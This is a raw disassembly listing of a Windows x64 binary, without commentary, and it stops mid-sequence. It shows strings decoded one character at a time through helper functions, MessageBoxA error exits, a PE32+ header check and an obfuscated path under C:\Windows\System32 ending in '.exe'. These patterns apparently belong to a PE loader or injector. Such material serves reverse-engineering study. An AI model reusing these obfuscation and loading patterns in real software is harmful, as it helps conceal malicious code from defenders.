mov byte [rbp + 0xabc], al
mov r9d, esi
lea r8d, [rsi - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xabd], al
mov r9d, esi
lea r8d, [rsi - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xabe], al
mov r9d, esi
lea r8d, [rsi - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xabf], al
mov r9d, esi
lea r8d, [rsi - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac0], al
mov r9d, esi
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac1], al
mov r9d, esi
lea r8d, [rsi - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac2], al
mov r9d, esi
lea r8d, [rsi - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac3], al
mov r9d, esi
lea r8d, [rsi - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac4], al
mov r9d, esi
lea r8d, [rsi - 0x19]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac5], al
mov r9d, esi
lea r8d, [rsi - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac6], al
mov r9d, esi
mov r8, r12
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac7], al
mov r9d, esi
lea r8d, [rsi - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac8], al
mov r9d, esi
lea r8d, [rsi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xac9], al
mov r9d, esi
lea r8d, [rsi - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xaca], al
mov r9d, esi
lea r8d, [rsi - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xacb], al
mov r9d, esi
lea r8d, [rsi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xacc], al
mov r9d, esi
lea r8d, [rsi - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xacd], al
mov r9d, esi
lea r8d, [rsi - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xace], al
mov r9d, esi
lea r8d, [rsi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xacf], al
mov r9d, esi
lea r8d, [rsi - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad0], al
mov r9d, esi
lea r8d, [rsi - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad1], al
mov r9d, esi
lea r8d, [rsi - 0xc]
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad2], al
mov r9d, esi
lea r8d, [rsi - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad3], al
mov r9d, esi
lea r8d, [rsi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad4], al
mov r9d, esi
lea r8d, [rsi - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad5], al
mov r9d, esi
lea r8d, [rsi - 8]
mov dl, 0x68
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad6], al
mov r9d, esi
lea r8d, [rsi - 7]
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad7], al
mov r9d, esi
lea r8d, [rsi - 6]
mov dl, 0x61
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad8], al
mov r9d, esi
lea r8d, [rsi - 5]
mov dl, r14b
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xad9], al
mov r9d, esi
lea r8d, [rsi - 4]
mov dl, 0x56
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xada], al
mov r9d, esi
lea r8d, [rsi - 3]
mov dl, 0x50
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xadb], al
mov r9d, esi
lea r8d, [rsi - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xadc], al
mov r9d, esi
lea r8d, [rsi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + 0xadd], al
xor eax, eax
mov byte [rbp + 0xade], al
xor ebx, ebx
mov edi, ebx
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0xaa1]
lea rcx, [rbp + 0xaa0]
call fcn.1400374cc
mov byte [rbp + rdi + 0xaa1], al
add rdi, r13
cmp rdi, rsi
jb 0x14001f2dd
mov byte [rbp + 0xade], bl
xor r9d, r9d
lea r8, [rbp + 0x3d9]
lea rdx, [rbp + 0xaa1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call fcn.14009cf48
int3
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rbp - 8], rax
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x14001fc65
mov byte [rbp + 0x3f0], 0x40
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f1], al
mov r9, rbx
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f2], al
mov r9, rbx
lea r8d, [r13 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f3], al
mov r9, rbx
lea r8d, [r13 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f4], al
mov r9, rbx
lea r8d, [r13 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f5], al
mov r9, rbx
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f6], al
mov r9, rbx
lea r8d, [r13 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f7], al
mov r9, rbx
lea r8d, [r13 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f8], al
mov r9, rbx
lea r8d, [r13 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3f9], al
mov r9, rbx
lea r8d, [r13 + 8]
mov dl, r14b
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3fa], al
mov r9, rbx
lea r8d, [r13 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3fb], al
mov r9, rbx
lea r8d, [r13 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3fc], al
mov r9, rbx
lea r8d, [r13 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3fd], al
mov r9, rbx
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3fe], al
mov r9, rbx
lea r8d, [r13 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x3ff], al
mov r9, rbx
lea r8d, [r13 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x400], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + 0x401], al
xor eax, eax
mov byte [rbp + 0x402], al
mov r12d, eax
mov r9, rbx
mov r8, r12
mov dl, byte [rbp + r12 + 0x3f1]
lea rcx, [rbp + 0x3f0]
call fcn.1400371f8
mov byte [rbp + r12 + 0x3f1], al
add r12, r13
cmp r12, rbx
jb 0x14001f525
xor eax, eax
mov byte [rbp + 0x402], al
mov byte [rbp + 0xa60], reloc.WLDAP32.dll_Ordinal_35
lea r12d, [rax + 0x3d]
mov r9d, r12d
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa61], al
mov r9d, r12d
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa62], al
mov r9d, r12d
lea r8d, [r12 - 0x3b]
mov dl, 0x76
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa63], al
mov r9d, r12d
lea r8d, [r12 - 0x3a]
mov dl, 0x61
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa64], al
mov r9d, r12d
lea r8d, [r12 - 0x39]
mov dl, 0x6c
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa65], al
mov r9d, r12d
lea r8d, [r12 - 0x38]
mov dl, 0x69
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa66], al
mov r9d, r12d
lea r8d, [r12 - 0x37]
mov dl, 0x64
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa67], al
mov r9d, r12d
lea r8d, [r12 - 0x36]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa68], al
mov r9d, r12d
lea r8d, [r12 - 0x35]
mov dl, 0x50
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa69], al
mov r9d, r12d
lea r8d, [r12 - 0x34]
mov dl, WSAStartup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa6a], al
mov r9d, r12d
lea r8d, [r12 - 0x33]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa6b], al
mov r9d, r12d
lea r8d, [r12 - 0x32]
mov dl, 0x63
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa6c], al
mov r9d, r12d
lea r8d, [r12 - 0x31]
mov dl, 0x65
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa6d], al
mov r9d, r12d
lea r8d, [r12 - 0x30]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa6e], al
mov r9d, r12d
lea r8d, [r12 - 0x2f]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa6f], al
mov r9d, r12d
lea r8d, [r12 - 0x2e]
mov dl, 0x65
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa70], al
mov r9d, r12d
mov r8, r15
mov dl, 0x64
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa71], al
mov r9d, r12d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa72], al
mov r9d, r12d
lea r8d, [r12 - 0x2b]
mov dl, 0x44
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa73], al
mov r9d, r12d
mov r8, rdi
mov dl, 0x61
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa74], al
mov r9d, r12d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa75], al
mov r9d, r12d
lea r8d, [r12 - 0x28]
mov dl, 0x61
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa76], al
mov r9d, r12d
lea r8d, [r12 - 0x27]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa77], al
mov r9d, r12d
lea r8d, [r12 - 0x26]
mov dl, 0x30
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa78], al
mov r9d, r12d
lea r8d, [r12 - 0x25]
mov dl, 0x78
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa79], al
mov r9d, r12d
lea r8d, [r12 - 0x24]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa7a], al
mov r9d, r12d
lea r8d, [r12 - 0x23]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa7b], al
mov r9d, r12d
lea r8d, [r12 - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa7c], al
mov r9d, r12d
lea r8d, [r12 - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa7d], al
mov r9d, r12d
lea r8d, [r12 - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa7e], al
mov r9d, r12d
lea r8d, [r12 - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa7f], al
mov r9d, r12d
lea r8d, [r12 - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa80], al
mov r9d, r12d
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa81], al
mov r9d, r12d
lea r8d, [r12 - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa82], al
mov r9d, r12d
lea r8d, [r12 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa83], al
mov r9d, r12d
lea r8d, [r12 - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa84], al
mov r9d, r12d
lea r8d, [r12 - 0x19]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa85], al
mov r9d, r12d
lea r8d, [r12 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa86], al
mov r9d, r12d
lea r8d, [r12 - 0x17]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa87], al
mov r9d, r12d
lea r8d, [r12 - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa88], al
mov r9d, r12d
lea r8d, [r12 - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa89], al
mov r9d, r12d
lea r8d, [r12 - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa8a], al
mov r9d, r12d
lea r8d, [r12 - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa8b], al
mov r9d, r12d
lea r8d, [r12 - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa8c], al
mov r9d, r12d
lea r8d, [r12 - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa8d], al
mov r9d, r12d
lea r8d, [r12 - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa8e], al
mov r9d, r12d
lea r8d, [r12 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa8f], al
mov r9d, r12d
lea r8d, [r12 - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa90], al
mov r9d, r12d
lea r8d, [r12 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa91], al
mov r9d, r12d
lea r8d, [r12 - 0xc]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa92], al
mov r9d, r12d
lea r8d, [r12 - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa93], al
mov r9d, r12d
lea r8d, [r12 - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa94], al
mov r9d, r12d
lea r8d, [r12 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa95], al
mov r9d, r12d
lea r8d, [r12 - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa96], al
mov r9d, r12d
lea r8d, [r12 - 7]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa97], al
mov r9d, r12d
lea r8d, [r12 - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa98], al
mov r9d, r12d
lea r8d, [r12 - 5]
mov dl, r14b
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa99], al
mov r9d, r12d
lea r8d, [r12 - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa9a], al
mov r9d, r12d
lea r8d, [r12 - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa9b], al
mov r9d, r12d
lea r8d, [r12 - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa9c], al
mov r9d, r12d
lea r8d, [r12 - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + 0xa9d], al
xor eax, eax
mov byte [rbp + 0xa9e], al
xor ebx, ebx
mov edi, ebx
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa61]
lea rcx, [rbp + 0xa60]
call fcn.1400374cc
mov byte [rbp + rdi + 0xa61], al
add rdi, r13
cmp rdi, r12
jb 0x14001fc15
mov byte [rbp + 0xa9e], bl
xor r9d, r9d
lea r8, [rbp + 0x3f1]
lea rdx, [rbp + 0xa61]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call fcn.14009cf48
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf58], xmm0
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0x8f0], Ordinal_46
lea r14d, [rax + 0x1f]
mov r9d, r14d
mov dl, 0x43
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f1], al
mov r9d, r14d
lea r8d, [r14 - 0x1e]
mov dl, 0x3a
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f2], al
mov r9d, r14d
lea r8d, [r14 - 0x1d]
mov dl, 0x5c
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f3], al
mov r9d, r14d
lea r8d, [r14 - 0x1c]
mov dl, 0x57
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f4], al
mov r9d, r14d
lea r8d, [r14 - 0x1b]
mov dl, 0x69
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f5], al
mov r9d, r14d
lea r8d, [r14 - 0x1a]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f6], al
mov r9d, r14d
lea r8d, [r14 - 0x19]
mov dl, 0x64
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f7], al
mov r9d, r14d
lea r8d, [r14 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f8], al
mov r9d, r14d
lea r8d, [r14 - 0x17]
mov dl, 0x77
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8f9], al
mov r9d, r14d
lea r8d, [r14 - 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8fa], al
mov r9d, r14d
lea r8d, [r14 - 0x15]
mov dl, 0x5c
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8fb], al
mov r9d, r14d
lea r8d, [r14 - 0x14]
mov dl, 0x53
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8fc], al
mov r9d, r14d
lea r8d, [r14 - 0x13]
mov dl, 0x79
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8fd], al
mov r9d, r14d
lea r8d, [r14 - 0x12]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8fe], al
mov r9d, r14d
lea r8d, [r14 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x8ff], al
mov r9d, r14d
lea r8d, [r14 - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x900], al
mov r9d, r14d
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x901], al
mov r9d, r14d
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x902], al
mov r9d, r14d
lea r8d, [r14 - 0xd]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x903], al
mov r9d, r14d
mov r8, rdi
mov dl, 0x5c
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x904], al
mov r9d, r14d
mov r8, rsi
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x905], al
mov r9d, r14d
lea r8d, [r14 - 0xa]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x906], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x907], al
mov r9d, r14d
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x908], al
mov r9d, r14d
lea r8d, [r14 - 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x909], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, 0x61
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x90a], al
mov r9d, r14d
lea r8d, [r14 - 5]
mov dl, 0x64
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x90b], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x90c], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x90d], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, 0x78
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x90e], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, 0x65
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + 0x90f], al
xor eax, eax
mov byte [rbp + 0x910], al
mov r14d, eax
lea r15d, [rax + 1]
mov r9d, Ordinal_32
mov r8, r14
mov dl, byte [rbp + r14 + 0x8f1]
lea rcx, [rbp + 0x8f0]
call fcn.140037270
mov byte [rbp + r14 + 0x8f1], al
add r14, r15
cmp r14, 0x1f
jb 0x14001ffce
xor eax, eax
mov byte [rbp + 0x910], al
lea rax, [rbp + 0x8f1]
mov qword [rbp + 0xc40], rax
mov byte [rbp + 0x8a8], reloc.WLDAP32.dll_Ordinal_35
mov r14d, reloc.WLDAP32.dll_Ordinal_30
mov r9d, r14d
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8a9], al
mov r9d, r14d
mov r12, r15
mov r8, r15
mov dl, 0x3a
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8aa], al
mov r9d, r14d
lea r8d, [r14 - 0x1c]
mov dl, 0x5c
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8ab], al
mov r9d, r14d
lea r8d, [r14 - 0x1b]
mov dl, 0x57
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8ac], al
mov r9d, r14d
lea r8d, [r14 - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8ad], al
mov r9d, r14d
lea r8d, [r14 - 0x19]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8ae], al
mov r9d, r14d
lea r8d, [r14 - 0x18]
mov dl, 0x64
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8af], al
mov r9d, r14d
lea r8d, [r14 - 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b0], al
mov r9d, r14d
lea r8d, [r14 - 0x16]
mov dl, 0x77
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b1], al
mov r9d, r14d
lea r8d, [r14 - 0x15]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b2], al
mov r9d, r14d
lea r8d, [r14 - 0x14]
mov dl, 0x5c
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b3], al
mov r9d, r14d
lea r8d, [r14 - 0x13]
mov dl, 0x53
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b4], al
mov r9d, r14d
lea r8d, [r14 - 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b5], al
mov r9d, r14d
lea r8d, [r14 - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b6], al
mov r9d, r14d
lea r8d, [r14 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8a8]
call fcn.140037360
mov byte [rbp + 0x8b7], al
mov r9d, r14d
lea r8d, [r14 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x8a8]
call fcn.140037360
